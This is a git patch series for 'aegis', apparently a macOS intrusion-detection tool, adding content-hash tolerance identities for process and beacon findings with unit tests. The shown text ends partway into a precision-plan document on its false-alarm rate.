From d3b4a40d280511b83063c0bccaf29983a4156c2b Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Sun, 20 Sep 2026 06:03:07 -0700 Subject: [PATCH 01/27] Thirty verdicts on one binary taught nothing, because tolerance asked where it was The live queue was 27 open incidents. Eighteen were "Suspicious running process", and the operator had already ruled benign-positive on several of the exact binaries underneath them -- three separate times on one uv-managed CPython alone. None of those verdicts counted. A process verdict accumulates under `process::`, and this machine reproduces one binary into venvs, uv build tmpdirs, pipx envs, per-agent worktrees, staging and release dirs, DMG scratch mounts and Downloads. So 30 verdicts spread over 28 identities, every one below the floor of three: the process sensor held zero tolerance identities on the reference Mac. Trust is churn of its own -- the same uv binary graded 'broken' when it was dismissed and 'adhoc' when it reopened as #514. Content becomes a SECOND identity a verdict accumulates under, never a replacement. A vendor app updating in place has a stable path and churning bytes; the operator's own build output does the exact reverse, so dropping either identity strands one of those populations forever. It is strictly narrower than the identity it joins -- it pins the exact bytes, so replacing a vouched binary mints an identity that has earned nothing -- and every existing guard still applies. Old verdicts carry forward on their own, recovered from the pre-custody `process:::` key shape: no migration, no one-time closer. Measured on the live store after triage: 0 process identities learned before, 3 after. The same pass closes a hole the content-keyed key opened. `process:sha:` fed to the hash-stripper yields `process:sha` -- two components naming no subject, one bucket shared by every content-keyed process incident on the machine, so three benign-positive verdicts on three UNRELATED binaries would have tolerized the sensor outright. A stripped identity must still name a subject, which is three components. Beacon subjects now carry their content hash too (free -- _graded_sha is already memoised per scan because a process, its listener and its beacon all ask for it). That does NOT qualify the path-keyed beacon identity, which _tolerance_identity still refuses for a never-normalized path; the bytes get their own identity instead. Separately: an incident's evidence list reprinted the finding TITLE once per row, and the title is constant by construction -- it is part of what groups them. #505 printed "Suspicious running process" twenty times while eight distinct interpreter paths sat in the stored events. Rows now fold on the per-observation descriptor and show what differs. Triage of the queue this came from: 23 benign-positive (the operator's own bioREADr/Zotero builds, RNAfold Deck, Playwright's Firefox, uv/Homebrew toolchain, and five Zotero sync beacons to AWS us-east-1), 2 false-positive (#452 read a locally-built bundle's absent quarantine flag as "side-loaded, bypassed Gatekeeper"; #521 reported a PATH-resolution change between two different npm binaries as a contents change, on a file unmodified since Aug 12). #450 and #503 were deliberately left open: their stored preview shows only the shell prologue, so the matched idioms are not visible and they cannot honestly be adjudicated. Verified: 1965 passed / 0 failed locally; simbody diff clean against the merge base on both the win and linux legs. Co-Authored-By: Claude Opus 5 (1M context) --- aegis.py | 244 ++++++++++++++-- tests/test_tolerance_follows_bytes.py | 390 ++++++++++++++++++++++++++ 2 files changed, 615 insertions(+), 19 deletions(-) create mode 100644 tests/test_tolerance_follows_bytes.py diff --git a/aegis.py b/aegis.py index d6a7ed1..59d13c2 100755 --- a/aegis.py +++ b/aegis.py @@ -3660,7 +3660,18 @@ def _tolerance_identity(fingerprint): changed = changed or (versionless != part) or ("#" in versionless) part = versionless normalized.append(part) - if not changed or len(normalized) < 2: + # What survives the strip must still NAME A SUBJECT, not just a category + # and a structural literal. `process:sha:` — the content-keyed shape + # the process sensor moved to — strips to the two components + # `process:sha`, which is not an identity at all: it is every content-keyed + # process incident on the machine sharing one bucket, so three + # benign-positive verdicts on three UNRELATED binaries would have tolerized + # the sensor outright. The floor of three exists to make tolerance + # antigen-specific and that string defeats it by naming no antigen. Three + # components is the real requirement (`persistence:changed:`, + # `process::`, `behavior:bash:` all clear it); the + # bytes keep their own identity via _fingerprint_content_identity. + if not changed or len(normalized) < 3: return None return ":".join(normalized) @@ -3823,7 +3834,15 @@ def _subject_identity(sub): return "persistence:%s:%s" % (sub.get("op") or "changed", path) if kind == "process" and generalizes: return "process:%s:%s" % (path, sub.get("trust") or "") - if kind == "beacon" and generalizes: + # A beacon subject now carries `content` so the content-keyed identity can + # be rendered from it — but content must NOT be what qualifies the + # PATH-keyed rendering below, or adding that field would silently grant + # every stable-path beacon the generalization _tolerance_identity still + # refuses it (see its `changed` guard: tolerating a never-normalized path + # hands a binary replaced IN PLACE at a reused endpoint the operator's + # verdicts). Path churn stays the only qualifier here, so the two + # derivations keep agreeing; the bytes get their own identity instead. + if kind == "beacon" and (path != sub.get("raw_path") or "#" in path): # net-beacon is named in the comment above as one of the three sensors # that declare a subject, and it was the one kind this function never # handled -- every beacon subject fell through to None. That was @@ -3840,6 +3859,59 @@ def _subject_identity(sub): return None +# A trailing full-length sha256 in a fingerprint is the subject's CONTENT. +_CONTENT_SHA_RE = re.compile(r"^[0-9a-f]{64}$", re.I) + + +def _content_identity(kind, content, ip=None, port=None): + """The content-keyed tolerance identity for a process or beacon, or None. + + This is the SECOND identity a verdict on these two sensors accumulates + under, never a replacement for the path-keyed one above — see + _finding_content_identity for why it had to be additive. + """ + content = str(content or "") + if not _CONTENT_SHA_RE.match(content): + return None + if kind == "process": + return "process:content:%s" % content.lower() + if kind == "beacon": + return "beacon:content:%s:%s:%s" % (content.lower(), ip or "", + port or "") + return None + + +def _subject_content_identity(sub): + """Content-keyed identity from a subject that carries its content hash.""" + if not isinstance(sub, dict): + return None + return _content_identity(sub.get("kind"), sub.get("content"), + sub.get("ip"), sub.get("port")) + + +def _fingerprint_content_identity(fp): + """The same identity recovered from a fingerprint string, for rows written + before their sensor declared a subject — and for BOTH process key shapes, + the pre-custody `process:::` and the content-keyed + `process:sha:` that replaced it. Recovering it from the old shape is + what lets verdicts the operator already gave carry forward on their own, + with no migration and no closer. + + It also closes a hole the new shape opened. `process:sha:` fed to + _tolerance_identity strips its trailing hash as churn and returns the + two-component identity `process:sha` — one identity shared by every + content-keyed process incident on the machine, so three benign-positive + verdicts on three UNRELATED binaries would have tolerized the sensor + outright. Claiming that string here means it never reaches that stripper. + """ + parts = str(fp or "").split(":") + if len(parts) < 3 or parts[0] != "process": + return None + if not _CONTENT_SHA_RE.match(parts[-1]): + return None + return _content_identity("process", parts[-1]) + + def _subject_endpoint_classes(sub): """Beacon endpoint classes from a subject's structured endpoint. A hostname is a fact and refuses to generalize, exactly as in the string @@ -3920,6 +3992,39 @@ def _finding_identity(f): return _tolerance_identity(f.get("fingerprint")) +def _finding_content_identity(f): + """The finding's content-keyed identity, ADDED to the path-keyed one above + rather than replacing it. + + Additive because the two cover opposite churn and neither covers both. A + vendor app updates IN PLACE or under a versioned directory: its path is + stable (or normalizes to one) while its bytes change every release, so + only the path-keyed identity can accumulate. The operator's own build + output does the reverse — one binary reproduced into staging dirs, release + dirs, per-agent worktrees, DMG scratch mounts and Downloads — so the bytes + are the stable thing and only a content-keyed identity can accumulate. + Keying on one of them alone means the other sensor population never + converges, which is exactly what the live queue showed: 30 process + verdicts spread over 28 path identities, every one of them below the + floor of three, so the process sensor had learned nothing at all. + + Content is also the only part of a process subject that is STABLE. The + same uv binary at ~/.local/bin/uv graded 'broken' when the + operator dismissed it and 'adhoc' when it reopened as #514, so the trust + class in the path-keyed identity manufactures churn of its own. + + This is strictly narrower than the identity it joins: it pins the exact + bytes, so replacing a vouched binary mints a new identity that has earned + nothing, and every existing guard still applies (never CRITICAL, never + above the reviewed severity, never a disputed identity, never + attack-defined, and still three distinct verdicts). + """ + sub = f.get("subject") + if sub: + return _subject_content_identity(sub) + return _fingerprint_content_identity(f.get("fingerprint")) + + def _finding_endpoint_classes(f): sub = f.get("subject") if sub: @@ -4055,6 +4160,23 @@ def _incident_identity(row): return _tolerance_identity(fp), _beacon_endpoint_classes(fp) +def _incident_content_identity(row): + """The stored incident's content-keyed identity, derived exactly as + _finding_content_identity derives a finding's — subject first, then the + correlation key — so a verdict and the finding it should later match + render the same string.""" + raw = row["subject_json"] if "subject_json" in row.keys() else None + if raw: + try: + ident = _subject_content_identity(json.loads(raw)) + if ident: + return ident + except Exception: + pass + return _fingerprint_content_identity( + (row["correlation_key"] or "")[len("signal:"):]) + + def _rotating_endpoint_memory(db, now): """{endpoint_class: (verdicts, max_reviewed_sev)} for classes the operator has dismissed across enough DISTINCT endpoints to establish rotation. @@ -4151,13 +4273,18 @@ def _tolerance_memory(db, now): return memory seen = {} for row in rows: - ident = _incident_identity(row)[0] - if not ident: - continue - bucket = seen.setdefault(ident, {"incidents": set(), "sev": -1}) - bucket["incidents"].add(row["incident_id"]) - bucket["sev"] = max(bucket["sev"], - SEV_ORDER.get(row["severity"], -1)) + # Both identities a verdict counts toward: the path-keyed one and, + # where the subject or key names the bytes, the content-keyed one. + # A single verdict contributes one incident to each bucket, so the + # floor of three still means three DISTINCT incidents either way. + for ident in (_incident_identity(row)[0], + _incident_content_identity(row)): + if not ident: + continue + bucket = seen.setdefault(ident, {"incidents": set(), "sev": -1}) + bucket["incidents"].add(row["incident_id"]) + bucket["sev"] = max(bucket["sev"], + SEV_ORDER.get(row["severity"], -1)) for ident, bucket in seen.items(): if len(bucket["incidents"]) >= _TOLERANCE_MIN_VERDICTS: memory[ident] = (len(bucket["incidents"]), bucket["sev"]) @@ -4196,6 +4323,13 @@ def _disputed_identities(db): ident, classes = _incident_identity(row) if ident: idents.add(ident) + # A dispute is about a SUBJECT, so it has to reach every identity that + # subject accumulates under — otherwise a `reopen` revokes the + # path-keyed tolerance while the content-keyed one keeps closing the + # very incidents the operator just reopened. + content_ident = _incident_content_identity(row) + if content_ident: + idents.add(content_ident) for klass, _observed in classes: idents.add(klass) raw = row["subject_json"] if "subject_json" in row.keys() else None @@ -4421,6 +4555,9 @@ def _signal_decision(f, memory): ident = _finding_identity(f) if ident: candidates.append((ident, tolerance)) + content_ident = _finding_content_identity(f) + if content_ident: + candidates.append((content_ident, tolerance)) if rotating: for klass, _observed in _finding_endpoint_classes(f): candidates.append((klass, rotating)) @@ -12337,7 +12474,8 @@ def _beacon_from_sightings(sightings, current_rows): "beacon:rotating:%s:%s" % (_program_subject(path), rport), case_fingerprint=dev_case or ( "beacon:rotating:%s:%s" % (_program_subject(path), rport)), - subject=_subject("beacon", path, port=rport), + subject=_subject("beacon", path, port=rport, + content=_graded_sha(path)), path=path, program=path, port=rport, trust=trust, endpoint_count=len(fleet), endpoints=shown, custody=rung, markers=["outbound-exfil", "beacon"])) @@ -12360,7 +12498,8 @@ def _beacon_from_sightings(sightings, current_rows): "beacon:%s:%s:%s" % (_program_subject(path), rip, rport), case_fingerprint=dev_case or ("beacon:%s:%s:%s" % ( _program_subject(path), rip, rport)), - subject=_subject("beacon", path, ip=rip, port=rport), + subject=_subject("beacon", path, ip=rip, port=rport, + content=_graded_sha(path)), path=path, program=path, remote=rip, port=rport, trust=trust, scan_count=len(stamps), span_secs=span, custody=rung, @@ -20531,6 +20670,71 @@ def _tolerated_footer(count): } +_EVIDENCE_MAX_ROWS = 12 +_EVIDENCE_WIDTH = 150 + + +def _evidence_descriptor(data, event_type): + """The one line that distinguishes an evidence row from its siblings. + + The stored finding's `detail` opens with the specific fact — the path and + trust class for a process, the endpoint and span for a beacon, the matched + idioms and the command for a behaviour hit — so its first line is the + per-observation descriptor for every sensor at once. The title is not: it + is the same string on every row in the incident. + """ + detail = str((data or {}).get("detail") or "").strip() + if detail: + line = detail.splitlines()[0].strip() + if line: + return line[:_EVIDENCE_WIDTH - 1] + "…" \ + if len(line) > _EVIDENCE_WIDTH else line + return str((data or {}).get("title") or (data or {}).get("status") + or event_type) + + +def _evidence_rows(evidence): + """Print an incident's evidence as DISTINCT observations. + + Rows are folded on their descriptor rather than listed per scan, because + the same fact re-observed twenty times is one fact with a count — and + folding is what makes the rows that genuinely differ visible. #505 is the + worked example: twenty rows that all read "Suspicious running process" + are, once folded, eight distinct interpreter paths sharing one sha256, + which is the whole content of the finding and was not previously on + screen anywhere. + """ + folded = {} + for row in evidence: + try: + data = json.loads(row["data_json"]) + except Exception: + data = {} + desc = _evidence_descriptor(data, row["event_type"]) + seen = folded.setdefault(desc, {"n": 0, "first": row["observed_at"], + "last": row["observed_at"], + "source": row["source"]}) + seen["n"] += 1 + seen["first"] = min(seen["first"], row["observed_at"]) + seen["last"] = max(seen["last"], row["observed_at"]) + for desc, seen in list(folded.items())[:_EVIDENCE_MAX_ROWS]: + when = _short_ts(seen["last"]) + if seen["n"] > 1: + when = "%s, %dx since %s" % (when, seen["n"], + _short_ts(seen["first"])) + print(" - %s · %s\n %s" % (when, seen["source"], desc)) + extra = len(folded) - _EVIDENCE_MAX_ROWS + if extra > 0: + print(" - … %d more distinct observation(s)" % extra) + + +def _short_ts(epoch): + try: + return datetime.fromtimestamp(int(epoch)).strftime("%Y-%m-%d %H:%M") + except Exception: + return str(epoch) + + def _benign_note_for(item): """The benign-cause notes relevant to an incident, keyed on its evidence categories (falling back to the correlation key's own prefix).""" @@ -20878,14 +21082,16 @@ def cmd_incident(incident_id, action=None, reason=None): print(" seen: %d observations since %s" % ( item["occurrences"], datetime.fromtimestamp(item["first_occurrence"]).isoformat())) - for evidence in item.get("evidence", []): - try: - data = json.loads(evidence["data_json"]) - summary = data.get("title") or data.get("status") or evidence["event_type"] - except Exception: - summary = evidence["event_type"] - print(" - %s · %s · %s" % - (evidence["observed_at"], evidence["source"], summary)) + # Every evidence row here used to render the finding's TITLE, which is + # constant for the whole incident by construction — the title is part of + # what groups them. So an incident carrying twenty observations printed + # the same sentence twenty times ("Suspicious running process" x20 on + # #505) and the operator could not see what any of them was about, let + # alone what made them differ, while the path, the trust class and the + # custody rung sat in the stored event the whole time. An evidence list + # has to show what VARIES across the rows or it is just a count with + # extra steps. + _evidence_rows(item.get("evidence", [])) adjudication = _adjudication_notes(item) if adjudication: print("\nWas this you? (evidence, never a verdict — same-uid " diff --git a/tests/test_tolerance_follows_bytes.py b/tests/test_tolerance_follows_bytes.py new file mode 100644 index 0000000..9190e94 --- /dev/null +++ b/tests/test_tolerance_follows_bytes.py @@ -0,0 +1,390 @@ +#!/usr/bin/env python3 +"""Tolerance keys on the BYTES as well as the path. + +The live queue is what these pin. Twenty-seven open incidents on the reference +Mac were eighteen "Suspicious running process" rows, and the operator had +already ruled benign-positive on several of the exact binaries underneath them +— three times on one uv-managed CPython alone. None of those verdicts counted, +because a process verdict accumulated under `process::` and this +machine reproduces one binary into venvs, uv build tmpdirs, pipx envs, agent +worktrees, staging and release dirs and DMG scratch mounts. Thirty verdicts +spread over twenty-eight identities, every one below the floor of three: the +process sensor had learned nothing at all. + +So content becomes a SECOND identity a verdict accumulates under, never a +replacement — a vendor app updating in place keeps stable paths and churning +bytes, the operator's own build output does the exact reverse, and dropping +either identity strands one of those populations forever. + +The same pass closes a hole the content-keyed correlation key opened: +`process:sha:` fed to the hash-stripper yields `process:sha`, one bucket +shared by every content-keyed process incident on the machine. + +Fully sandboxed: STATE_DIR/EVENT_DB are redirected into a tmp dir. +""" +import json +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 +from conftest import PUBLISHER_TRUST, SUSPICIOUS_TRUST # noqa: E402 + +NOW = 1786600000 # > 2026-01-01 store floor +SHA = "d22a09ce45166ee066022909e071bba239c263ba090ed8f0884f7f21ae922ac3" +OTHER_SHA = "b8014caecb1f334bbc67e99b74d9f5fa6e3519c6567c98a890940b31ffeffa32" +# The eight paths #505 actually observed, trimmed to the three shapes that +# matter: a venv, a uv build tmpdir, and a bundled copy inside an .app. +PATHS = ( + "/Users/c/Life OS/cadence/prebrief/.venv/bin/python3", + "/Users/c/.cache/uv/builds-v0/.tmpXAmJp2/bin/python", + "/Users/c/w/staging/bioREADr.app/Contents/Resources/python/bin/python3", +) + + +def _process_finding(path, sha=SHA, severity="HIGH", trust=SUSPICIOUS_TRUST): + """A process finding shaped exactly as check_processes emits one.""" + return { + "fingerprint": "process:sha:%s" % sha, + "severity": severity, "category": "process", + "title": "Suspicious running process", + "detail": "%s (%s) running from user-writable path" % (path, trust), + "confidence": "medium", + "subject": aegis._subject("process", path, trust=trust, content=sha), + } + + +class TestContentIdentity(unittest.TestCase): + """Pure derivation: what identity does a subject or fingerprint render?""" + + def test_same_bytes_at_different_paths_share_one_content_identity(self): + idents = {aegis._finding_content_identity(_process_finding(p)) + for p in PATHS} + self.assertEqual(len(idents), 1, idents) + self.assertEqual(idents.pop(), "process:content:%s" % SHA) + + def test_different_bytes_never_share_a_content_identity(self): + self.assertNotEqual( + aegis._finding_content_identity(_process_finding(PATHS[0])), + aegis._finding_content_identity( + _process_finding(PATHS[0], sha=OTHER_SHA))) + + def test_path_identity_is_preserved_alongside_it(self): + """Additive, not a replacement: the path-keyed identity a vendor app + updating in place accumulates under must keep rendering unchanged, or + the fix orphans every verdict it was supposed to rescue.""" + f = _process_finding(PATHS[0]) + self.assertEqual(aegis._finding_identity(f), + "process:%s:%s" % (PATHS[0], SUSPICIOUS_TRUST)) + + def test_trust_churn_does_not_move_the_content_identity(self): + """The same uv binary graded 'broken' when the operator dismissed it + and 'adhoc' when it reopened as #514, so trust is churn of its own.""" + self.assertEqual( + aegis._finding_content_identity( + _process_finding(PATHS[0], trust=PUBLISHER_TRUST)), + aegis._finding_content_identity( + _process_finding(PATHS[0], trust=SUSPICIOUS_TRUST))) + + def test_old_path_keyed_fingerprint_yields_the_content_identity_too(self): + """Verdicts given before the key shape changed must carry forward on + their own — no migration, no one-time closer.""" + self.assertEqual( + aegis._fingerprint_content_identity( + "process:%s:%s:%s" % (PATHS[0], SUSPICIOUS_TRUST, SHA)), + "process:content:%s" % SHA) + + def test_short_or_absent_hashes_claim_nothing(self): + for fp in ("process:%s:%s:None" % (PATHS[0], SUSPICIOUS_TRUST), + "process:%s:%s:9ac24874dddaa414" % (PATHS[0], + SUSPICIOUS_TRUST), + "persistence:changed:/L/x.plist:%s" % SHA, + "behavior:bash:hdiutil-nobrowse:9ac24874dddaa414"): + self.assertIsNone(aegis._fingerprint_content_identity(fp), fp) + + +class TestSubjectlessProcessKeyIsNotAnIdentity(unittest.TestCase): + """`process:sha:` must never strip to the subject-less `process:sha`. + + That string names no antigen: it is shared by every content-keyed process + incident on the machine, so three benign-positive verdicts on three + UNRELATED binaries would have tolerized the whole sensor. + """ + + def test_content_keyed_key_does_not_strip_to_a_shared_bucket(self): + self.assertIsNone(aegis._tolerance_identity("process:sha:%s" % SHA)) + + def test_two_unrelated_binaries_do_not_share_a_stripped_identity(self): + a = aegis._tolerance_identity("process:sha:%s" % SHA) + b = aegis._tolerance_identity("process:sha:%s" % OTHER_SHA) + self.assertFalse(a is not None and a == b, (a, b)) + + def test_subject_bearing_identities_still_generalize(self): + """The floor that closes the hole must not take real identities with + it — each of these still names what it is about.""" + for fp, expect in ( + ("persistence:changed:/L/x.plist:4ecbaeb7c89892df", + "persistence:changed:/L/x.plist"), + ("process:/usr/local/bin/x:%s:%s" % (SUSPICIOUS_TRUST, SHA), + "process:/usr/local/bin/x:%s" % SUSPICIOUS_TRUST), + ("behavior:bash:hdiutil-nobrowse:9ac24874dddaa414", + "behavior:bash:hdiutil-nobrowse")): + self.assertEqual(aegis._tolerance_identity(fp), expect, fp) + + +class TestBeaconGateUnchanged(unittest.TestCase): + """The beacon subject now carries content so its bytes can be named. That + must not flip on the PATH-keyed beacon generalization, which + _tolerance_identity still refuses for a never-normalized path (a binary + replaced in place at a reused endpoint would inherit the verdicts).""" + + def _beacon(self, path, content=None): + return aegis._subject("beacon", path, ip="1.2.3.4", port="443", + content=content) + + def test_content_does_not_qualify_the_path_keyed_identity(self): + path = "/Applications/bioREADr.app/Contents/MacOS/zotero" + self.assertIsNone(aegis._subject_identity(self._beacon(path))) + self.assertIsNone( + aegis._subject_identity(self._beacon(path, content=SHA))) + + def test_versioned_path_still_generalizes(self): + sub = self._beacon("/x/extensions/vendor.tool-2.1.226-arm64/bin/tool", + content=SHA) + self.assertEqual(aegis._subject_identity(sub), + aegis._subject_identity(self._beacon( + "/x/extensions/vendor.tool-2.1.228-arm64/bin/tool", + content=SHA))) + + def test_beacon_bytes_get_their_own_identity(self): + path = "/Applications/bioREADr.app/Contents/MacOS/zotero" + self.assertEqual( + aegis._subject_content_identity(self._beacon(path, content=SHA)), + "beacon:content:%s:1.2.3.4:443" % SHA) + # The endpoint stays a fact: a new address is a new identity. + moved = aegis._subject("beacon", path, ip="5.6.7.8", port="443", + content=SHA) + self.assertNotEqual( + aegis._subject_content_identity(moved), + aegis._subject_content_identity(self._beacon(path, content=SHA))) + + +class _Sandbox(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_bytes_") + state = os.path.join(self.tmp, ".aegis") + os.makedirs(state) + self._saved = {} + for k, v in (("STATE_DIR", state), + ("EVENT_DB", os.path.join(state, "aegis.db"))): + self._saved[k] = getattr(aegis, k) + setattr(aegis, k, v) + aegis.init_event_store() + + def tearDown(self): + for k, v in self._saved.items(): + setattr(aegis, k, v) + shutil.rmtree(self.tmp, ignore_errors=True) + + def _ingest(self, f, at): + db = aegis._event_connection() + try: + with db: + cur = db.execute( + "INSERT INTO events(occurred_at,observed_at,source," + "event_type,data_json) VALUES(?,?,?,?,?)", + (at, at, f["category"], "observation.finding", + json.dumps(f))) + aegis._apply_correlations(db, [(cur.lastrowid, f)], at, + initially_notified=True) + finally: + db.close() + + def _latest_incident(self): + db = aegis._event_connection() + try: + row = db.execute( + "SELECT * FROM incidents ORDER BY id DESC LIMIT 1").fetchone() + return dict(row) if row else None + finally: + db.close() + + def _dismiss(self, incident_id, at, code="benign-positive"): + self.assertTrue(aegis.transition_incident( + incident_id, "FALSE_POSITIVE", now=at, reason_code=code)) + + def _memory(self, at): + db = aegis._event_connection() + try: + return aegis._suppression_memory(db, at) + finally: + db.close() + + +class TestVerdictsConvergeAcrossPaths(_Sandbox): + """The end-to-end claim: three verdicts on one binary seen at three + different paths now reach the floor, where before they were three buckets + of one and taught nothing.""" + + def _teach_three_paths(self, sha=SHA, code="benign-positive"): + """Returns the incident ids, youngest last.""" + ids = [] + for i, path in enumerate(PATHS): + at = NOW + i * 600 + # Each path is its own case, exactly as the live store recorded + # them: the fingerprint is content-keyed but the incidents were + # opened separately as the binary appeared in each location. + f = _process_finding(path, sha=sha) + f["fingerprint"] = "process:sha:%s:%d" % (sha, i) + self._ingest(f, at) + incident = self._latest_incident() + self.assertEqual(incident["status"], "OPEN") + self._dismiss(incident["id"], at + 30, code=code) + ids.append(incident["id"]) + return ids + + def test_three_paths_one_binary_reaches_the_floor(self): + self._teach_three_paths() + tolerance = self._memory(NOW + 9000)[0] + self.assertIn("process:content:%s" % SHA, tolerance) + self.assertEqual(tolerance["process:content:%s" % SHA][0], + aegis._TOLERANCE_MIN_VERDICTS) + + def test_the_next_sighting_at_a_fourth_path_is_tolerated(self): + self._teach_three_paths() + memory = self._memory(NOW + 9000) + fresh = _process_finding("/Users/c/somewhere/else/.venv/bin/python3") + decision, verdicts = aegis._signal_decision(fresh, memory) + self.assertEqual(decision, "tolerated") + self.assertGreaterEqual(verdicts, aegis._TOLERANCE_MIN_VERDICTS) + + def test_different_bytes_at_a_taught_path_still_alert(self): + """Antigen specificity, and the direction that matters: tolerance + earned on one binary must never cover a DIFFERENT one, even at a path + the operator has already blessed.""" + self._teach_three_paths() + memory = self._memory(NOW + 9000) + impostor = _process_finding(PATHS[0], sha=OTHER_SHA) + self.assertEqual(aegis._signal_decision(impostor, memory)[0], None) + + def test_two_verdicts_are_not_enough(self): + for i, path in enumerate(PATHS[:2]): + at = NOW + i * 600 + f = _process_finding(path) + f["fingerprint"] = "process:sha:%s:%d" % (SHA, i) + self._ingest(f, at) + self._dismiss(self._latest_incident()["id"], at + 30) + memory = self._memory(NOW + 9000) + fresh = _process_finding("/Users/c/elsewhere/.venv/bin/python3") + self.assertEqual(aegis._signal_decision(fresh, memory)[0], None) + + def test_false_positive_verdicts_teach_nothing_here(self): + """Only benign-positive is a statement about the subject; a + false-positive says the RULE was wrong.""" + self._teach_three_paths(code="false-positive") + tolerance = self._memory(NOW + 9000)[0] + self.assertNotIn("process:content:%s" % SHA, tolerance) + + def test_critical_is_never_tolerated(self): + self._teach_three_paths() + memory = self._memory(NOW + 9000) + crit = _process_finding(PATHS[0], severity="CRITICAL") + self.assertEqual(aegis._signal_decision(crit, memory)[0], None) + + def test_a_dispute_reaches_the_content_identity(self): + """A reopen must revoke BOTH identities the subject accumulated under, + or tolerance keeps closing the very incidents just reopened. + + The dispute here is INVESTIGATING, not `reopen`, and that is the only + form this can take. A reopen deletes the dismissal rows the count is + built on, so it drops the identity below the floor and the suppression + memory never consults the disputed set at all — the test would pass + while proving nothing. Nor can a fourth verdict be added first: + tolerance is already engaged by then, so the fourth incident is + auto-closed and there is no OPEN row left for the operator to rule on. + Moving an incident to an active state is a dispute that leaves the + verdicts standing, which is exactly the case the disputed set exists + for. + """ + # The disputed incident is opened and moved to INVESTIGATING BEFORE + # the third verdict lands, because once tolerance engages no further + # incident on this identity stays OPEN long enough to be moved. + for i, path in enumerate(PATHS[:2]): + at = NOW + i * 600 + f = _process_finding(path) + f["fingerprint"] = "process:sha:%s:%d" % (SHA, i) + self._ingest(f, at) + self._dismiss(self._latest_incident()["id"], at + 30) + + f = _process_finding("/Users/c/fourth/.venv/bin/python3") + f["fingerprint"] = "process:sha:%s:disputed" % SHA + self._ingest(f, NOW + 1800) + self.assertTrue(aegis.transition_incident( + self._latest_incident()["id"], "INVESTIGATING", now=NOW + 1830)) + + f = _process_finding(PATHS[2]) + f["fingerprint"] = "process:sha:%s:2" % SHA + self._ingest(f, NOW + 2400) + self._dismiss(self._latest_incident()["id"], NOW + 2430) + + tolerance, _rot, disputed = self._memory(NOW + 9000)[:3] + self.assertIn("process:content:%s" % SHA, tolerance) + self.assertIn("process:content:%s" % SHA, disputed) + fresh = _process_finding("/Users/c/yet/another/.venv/bin/python3") + self.assertEqual( + aegis._signal_decision(fresh, self._memory(NOW + 9000))[0], None) + + +class TestEvidenceRowsShowWhatDiffers(unittest.TestCase): + """An evidence list that reprints the incident's TITLE per row shows the + operator nothing: the title is constant by construction — it is part of + what groups the rows. #505 printed "Suspicious running process" twenty + times while eight distinct interpreter paths sat in the stored events.""" + + def _rows(self, details): + return [{"data_json": json.dumps({"title": "Suspicious running process", + "detail": d}), + "event_type": "observation.finding", "source": "process", + "observed_at": NOW + i * 60} + for i, d in enumerate(details)] + + def test_distinct_observations_are_each_named(self, ): + import io + import contextlib + rows = self._rows(["%s (%s) running from user-writable path" + % (p, SUSPICIOUS_TRUST) for p in PATHS]) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + aegis._evidence_rows(rows) + out = buf.getvalue() + for path in PATHS: + self.assertIn(path, out, out) + + def test_repeats_of_one_fact_fold_into_a_count(self): + import io + import contextlib + same = "%s (%s) running from user-writable path" % (PATHS[0], + SUSPICIOUS_TRUST) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + aegis._evidence_rows(self._rows([same] * 5)) + out = buf.getvalue() + self.assertEqual(out.count(PATHS[0]), 1, out) + self.assertIn("5x", out) + + def test_descriptor_falls_back_to_the_title_without_detail(self): + self.assertEqual( + aegis._evidence_descriptor({"title": "Only a title"}, "x"), + "Only a title") + + def test_multiline_detail_uses_only_its_first_line(self): + desc = aegis._evidence_descriptor( + {"title": "t", "detail": "the fact\nthe custody explanation"}, "x") + self.assertEqual(desc, "the fact") + + +if __name__ == "__main__": + unittest.main() From 15666f99a99d9c80d2eae678da9de87925055b0b Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Wed, 23 Sep 2026 08:23:56 -0700 Subject: [PATCH 02/27] Precision plan: three structural defects behind six false-alarm batches, with the score every fix is judged on Six batches since 2026-08-20 each fixed mechanisms downstream of the same three defects: provenance is asked after the finding exists and may only demote (190 of 200 closed-noise interrupts in 30d carried no rung); verdicts are keyed on path+trust so the operator's rebuilt artifacts escape them (72 verdicts, 109 re-fires in already-judged classes); and no fix is scored against the labelled corpus, so silence is the only measure. Names the codesign detritus misread behind 36 HIGH interrupts and four of the five open incidents. Fixes a done-condition, a replay harness as the verification method, and a six-pass cap. Co-Authored-By: Claude Fable 5.1 --- PRECISION-PLAN-2026-09-23.md | 141 +++++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 PRECISION-PLAN-2026-09-23.md diff --git a/PRECISION-PLAN-2026-09-23.md b/PRECISION-PLAN-2026-09-23.md new file mode 100644 index 0000000..ca310fa --- /dev/null +++ b/PRECISION-PLAN-2026-09-23.md @@ -0,0 +1,141 @@ +# Precision plan — why Aegis cannot tell the operator from an attacker, and the fix that ends the batches + +Written 2026-09-23 against main at `49e38b3` and the live store in `~/.aegis`. +Roles: Fable plans, scores and verifies; an Opus builder executes one step per worktree. + +## The numbers this plan is built on (live store, last 30 days) + +| measure | value | +|---|---| +| incidents closed as noise (FALSE_POSITIVE) | 233 | +| incidents open, all noise | 5 | +| true positives, lifetime | 0 of 538 | +| closed-noise interrupts that were HIGH with **no provenance rung** | 190 of 200 | +| hand verdicts given by the operator | 72, across 45 classes | +| new incidents opened in a class the operator had **already judged** | 109 | +| HIGH interrupts caused by one codesign misread (Zoom + Zotero "broken") | 36 | +| events on Spotify labelled `unsigned` while codesign says Developer ID | 314 (09-20 to 09-23) | + +Six false-alarm batches since 2026-08-20 each fixed four to eight mechanisms and each was followed by another batch. The +batches were correct and they did not converge, because every one of them worked *downstream* of three structural defects. + +## The three core defects + +**1. Provenance is asked last and can only whisper.** Every sensor fires on an attribute the operator's own work shares +with malware: ad-hoc signature in `$HOME` (every build product), a new listener port (Spotify picks one per launch), a +long-lived connection from a Developer ID binary under `$HOME` (the beacon rule is `suspicious_sig OR risky_location`, +the only sensor with an OR), `eval … $(` in argv (every command Claude Code runs). The custody ladder that could explain +the artifact runs *after* the finding exists, may only demote one step, and never suppresses. Measured result: 190 of +200 